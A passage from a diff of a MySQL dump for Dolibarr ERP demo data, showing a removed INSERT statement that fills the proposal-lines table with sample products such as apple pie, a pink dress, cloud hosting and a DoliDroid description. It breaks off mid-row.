AUTO_INCREMENT=122 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=131 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -11592,7 +10801,7 @@ CREATE TABLE `llx_propaldet` ( LOCK TABLES `llx_propaldet` WRITE; /*!40000 ALTER TABLE `llx_propaldet` DISABLE KEYS */; -INSERT INTO `llx_propaldet` VALUES (1,1,NULL,NULL,NULL,'Une machine à café',NULL,12.500,'',0.000,'',0.000,'',1,0,0,NULL,10.00000000,10.00000000,1.25000000,0.00000000,0.00000000,11.25000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(2,2,NULL,NULL,NULL,'Product 1',NULL,0.000,'',0.000,'',0.000,'',1,0,0,NULL,10.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(3,2,NULL,2,NULL,'',NULL,0.000,'',0.000,'',0.000,'',1,0,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(4,3,NULL,NULL,NULL,'A new marvelous product',NULL,0.000,'',0.000,'',0.000,'',1,0,0,NULL,10.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(5,1,NULL,5,NULL,'cccc',NULL,19.600,'',0.000,'',0.000,'',1,0,0,NULL,10.00000000,10.00000000,1.96000000,0.00000000,0.00000000,11.96000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(11,1,NULL,4,NULL,'',NULL,0.000,'',0.000,'',0.000,'',1,0,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(12,1,NULL,4,NULL,'',NULL,0.000,'',0.000,'',0.000,'',1,0,0,NULL,5.00000000,5.00000000,0.00000000,0.00000000,0.00000000,5.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(13,1,NULL,4,NULL,'',NULL,12.500,'',0.000,'',0.000,'',1,0,0,NULL,5.00000000,5.00000000,0.63000000,0.00000000,0.00000000,5.63000000,0,NULL,NULL,0,NULL,0.00000000,0,5,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(24,5,NULL,NULL,NULL,'On demand Apple pie',NULL,20.000,'',0.000,'0',0.000,'0',1,0,0,NULL,10.00000000,10.00000000,2.00000000,0.00000000,0.00000000,12.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(25,7,NULL,NULL,NULL,'Help to setup Magic Food computer',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,400.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,1,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'',400.00000000,400.00000000,0.00000000,400.00000000),(26,11,NULL,5,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',NULL,0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,10.00000000,50.00000000,0.00000000,0.00000000,0.00000000,50.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',10.00000000,50.00000000,0.00000000,50.00000000),(27,11,NULL,5,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,10.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',10.00000000,10.00000000,0.00000000,10.00000000),(28,12,NULL,4,NULL,'Nice Bio Apple Pie.
\r\n ',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,5.00000000,5.00000000,0.00000000,0.00000000,0.00000000,5.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',5.00000000,5.00000000,0.00000000,5.00000000),(29,12,NULL,1,NULL,'A beatifull pink dress',NULL,0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,100.00000000,300.00000000,0.00000000,0.00000000,0.00000000,300.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',100.00000000,300.00000000,0.00000000,300.00000000),(30,12,NULL,10,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(31,12,NULL,12,NULL,'Cloud hosting of Dolibarr ERP and CRM software',NULL,0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,9.00000000,27.00000000,0.00000000,0.00000000,0.00000000,27.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,'EUR',9.00000000,27.00000000,0.00000000,27.00000000),(32,12,NULL,10,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,100.00000000,100.00000000,0.00000000,0.00000000,0.00000000,100.00000000,0,NULL,NULL,0,NULL,0.00000000,0,5,NULL,NULL,'EUR',100.00000000,100.00000000,0.00000000,100.00000000),(33,13,NULL,2,NULL,'',NULL,0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(34,13,NULL,4,NULL,'Nice Bio Apple Pie.
\r\n ',NULL,0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,5.00000000,15.00000000,0.00000000,0.00000000,0.00000000,15.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',5.00000000,15.00000000,0.00000000,15.00000000),(35,13,NULL,12,NULL,'Cloud hosting of Dolibarr ERP and CRM software',NULL,0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,9.00000000,27.00000000,0.00000000,0.00000000,0.00000000,27.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,'EUR',9.00000000,27.00000000,0.00000000,27.00000000),(36,13,NULL,10,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,'EUR',100.00000000,200.00000000,0.00000000,200.00000000),(37,14,NULL,10,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',100.00000000,200.00000000,0.00000000,200.00000000),(38,14,NULL,12,NULL,'Cloud hosting of Dolibarr ERP and CRM software',NULL,0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,9.00000000,45.00000000,0.00000000,0.00000000,0.00000000,45.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',9.00000000,45.00000000,0.00000000,45.00000000),(39,15,NULL,13,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,100.00000000,300.00000000,0.00000000,0.00000000,0.00000000,300.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',100.00000000,300.00000000,0.00000000,300.00000000),(40,15,NULL,10,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,100.00000000,300.00000000,0.00000000,0.00000000,0.00000000,300.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',100.00000000,300.00000000,0.00000000,300.00000000),(41,15,NULL,10,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,100.00000000,300.00000000,0.00000000,0.00000000,0.00000000,300.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,'EUR',100.00000000,300.00000000,0.00000000,300.00000000),(42,15,NULL,5,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',NULL,0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,10.00000000,40.00000000,0.00000000,0.00000000,0.00000000,40.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,'EUR',10.00000000,40.00000000,0.00000000,40.00000000),(43,16,NULL,5,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',NULL,0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,10.00000000,40.00000000,0.00000000,0.00000000,0.00000000,40.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',10.00000000,40.00000000,0.00000000,40.00000000),(44,16,NULL,5,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',NULL,0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,10.00000000,40.00000000,0.00000000,0.00000000,0.00000000,40.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',10.00000000,40.00000000,0.00000000,40.00000000),(45,16,NULL,12,NULL,'Cloud hosting of Dolibarr ERP and CRM software',NULL,0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,9.00000000,45.00000000,0.00000000,0.00000000,0.00000000,45.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,'EUR',9.00000000,45.00000000,0.00000000,45.00000000),(46,17,NULL,12,NULL,'Cloud hosting of Dolibarr ERP and CRM software',NULL,0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,9.00000000,45.00000000,0.00000000,0.00000000,0.00000000,45.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',9.00000000,45.00000000,0.00000000,45.00000000),(47,17,NULL,12,NULL,'Cloud hosting of Dolibarr ERP and CRM software',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,9.00000000,18.00000000,0.00000000,0.00000000,0.00000000,18.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',9.00000000,18.00000000,0.00000000,18.00000000),(48,17,NULL,10,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,100.00000000,100.00000000,0.00000000,0.00000000,0.00000000,100.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,'EUR',100.00000000,100.00000000,0.00000000,100.00000000),(49,17,NULL,2,NULL,'',NULL,0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(50,17,NULL,3,NULL,'',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,5,NULL,NULL,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(51,18,NULL,1,NULL,'A beatifull pink dress',NULL,0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(52,18,NULL,1,NULL,'A beatifull pink dress',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,100.00000000,100.00000000,0.00000000,0.00000000,0.00000000,100.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',100.00000000,100.00000000,0.00000000,100.00000000),(53,18,NULL,13,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(54,19,NULL,10,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,100.00000000,100.00000000,0.00000000,0.00000000,0.00000000,100.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',100.00000000,100.00000000,0.00000000,100.00000000),(55,19,NULL,13,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,100.00000000,100.00000000,0.00000000,0.00000000,0.00000000,100.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',100.00000000,100.00000000,0.00000000,100.00000000),(56,19,NULL,2,NULL,'',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(57,19,NULL,2,NULL,'',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(58,19,NULL,2,NULL,'',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,5,NULL,NULL,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(59,20,NULL,1,NULL,'A beatifull pink dress',NULL,0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,100.00000000,300.00000000,0.00000000,0.00000000,0.00000000,300.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',100.00000000,300.00000000,0.00000000,300.00000000),(60,20,NULL,5,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,10.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',10.00000000,10.00000000,0.00000000,10.00000000),(61,20,NULL,5,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,10.00000000,20.00000000,0.00000000,0.00000000,0.00000000,20.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,'EUR',10.00000000,20.00000000,0.00000000,20.00000000),(62,20,NULL,10,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,100.00000000,500.00000000,0.00000000,0.00000000,0.00000000,500.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,'EUR',100.00000000,500.00000000,0.00000000,500.00000000),(63,21,NULL,5,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,10.00000000,20.00000000,0.00000000,0.00000000,0.00000000,20.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',10.00000000,20.00000000,0.00000000,20.00000000),(64,21,NULL,12,NULL,'Cloud hosting of Dolibarr ERP and CRM software',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,9.00000000,9.00000000,0.00000000,0.00000000,0.00000000,9.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',9.00000000,9.00000000,0.00000000,9.00000000),(65,21,NULL,4,NULL,'Nice Bio Apple Pie.
\r\n ',NULL,0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,5.00000000,15.00000000,0.00000000,0.00000000,0.00000000,15.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,'EUR',5.00000000,15.00000000,0.00000000,15.00000000),(66,21,NULL,12,NULL,'Cloud hosting of Dolibarr ERP and CRM software',NULL,0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,9.00000000,45.00000000,0.00000000,0.00000000,0.00000000,45.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,'EUR',9.00000000,45.00000000,0.00000000,45.00000000),(67,22,NULL,5,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',NULL,0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,10.00000000,50.00000000,0.00000000,0.00000000,0.00000000,50.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',10.00000000,50.00000000,0.00000000,50.00000000),(68,22,NULL,5,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,10.00000000,20.00000000,0.00000000,0.00000000,0.00000000,20.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',10.00000000,20.00000000,0.00000000,20.00000000),(69,23,NULL,2,NULL,'',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(70,23,NULL,4,NULL,'Nice Bio Apple Pie.
\r\n ',NULL,0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,5.00000000,15.00000000,0.00000000,0.00000000,0.00000000,15.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',5.00000000,15.00000000,0.00000000,15.00000000),(71,23,NULL,13,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,100.00000000,300.00000000,0.00000000,0.00000000,0.00000000,300.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,'EUR',100.00000000,300.00000000,0.00000000,300.00000000),(72,23,NULL,1,NULL,'A beatifull pink dress',NULL,0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(73,24,NULL,4,NULL,'Nice Bio Apple Pie.
\r\n ',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,5.00000000,5.00000000,0.00000000,0.00000000,0.00000000,5.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',5.00000000,5.00000000,0.00000000,5.00000000),(74,24,NULL,12,NULL,'Cloud hosting of Dolibarr ERP and CRM software',NULL,0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,9.00000000,45.00000000,0.00000000,0.00000000,0.00000000,45.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',9.00000000,45.00000000,0.00000000,45.00000000),(75,24,NULL,2,NULL,'',NULL,0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(76,24,NULL,1,NULL,'A beatifull pink dress',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,'EUR',100.00000000,200.00000000,0.00000000,200.00000000),(77,25,NULL,10,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(78,25,NULL,13,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,100.00000000,300.00000000,0.00000000,0.00000000,0.00000000,300.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',100.00000000,300.00000000,0.00000000,300.00000000),(79,25,NULL,10,NULL,'A powerfull computer XP4523 